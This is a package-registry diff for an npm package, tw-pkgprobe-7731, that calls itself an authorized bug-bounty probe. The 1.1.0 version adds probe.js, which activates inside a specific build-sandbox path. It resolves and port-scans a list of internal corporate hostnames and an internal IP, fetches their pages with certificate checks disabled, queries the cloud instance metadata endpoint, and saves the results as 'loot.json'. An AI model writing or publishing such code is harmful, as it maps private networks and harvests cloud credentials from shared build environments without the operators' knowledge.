tw-pkgprobe-7731 1.0.8 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/daemon.js +0 -1
  2. package/package.json +1 -1
  3. package/probe.js +29 -8
package/daemon.js CHANGED
@@ -1,2 +1 @@
1
- // v1.0.8 kill-switch: research daemon disabled. Does nothing and exits.
2
1
  process.exit(0);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tw-pkgprobe-7731",
3
- "version": "1.0.8",
3
+ "version": "1.1.0",
4
4
  "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
package/probe.js CHANGED
@@ -1,9 +1,30 @@
1
- // v1.0.8 kill-switch: stops any earlier research daemon left in a shared build container.
2
- const fs=require('fs'), cp=require('child_process');
3
- try{
4
- if(/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())){
5
- try{ const p=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(p) process.kill(p,'SIGKILL'); }catch(e){}
6
- try{ fs.writeFileSync('/tmp/.npm-helper.js','process.exit(0);'); }catch(e){}
7
- try{ fs.writeFileSync('/tmp/.npm-helper.ver','1.0.8'); }catch(e){}
1
+ // Authorized bug-bounty research probe (Twilio HackerOne). Connectivity matrix from the
2
+ // Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else.
3
+ const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net');
4
+ const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
5
+ "one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com",
6
+ "eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com",
7
+ "code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com",
8
+ "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
9
+ const out={ts:Date.now(),cwd:process.cwd(),results:{}};
10
+ function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false;
11
+ const fin=v=>{if(!done){done=true;try{s.destroy()}catch(e){};r(v)}};
12
+ s.on('connect',()=>fin('open'));s.on('timeout',()=>fin('timeout'));s.on('error',e=>fin('err:'+e.code));});}
13
+ function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
14
+ let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));});
15
+ req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}
16
+ async function main(){
17
+ if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
18
+ for(const h of HOSTS){
19
+ const rec={};
20
+ try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
21
+ if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
22
+ rec.tcp443=await tcp(rec.dns,443,5000);
23
+ if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
24
+ out.results[h]=rec;
8
25
  }
9
- }catch(e){}
26
+ out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
27
+ out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
28
+ try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
29
+ }
30
+ main().catch(e=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}});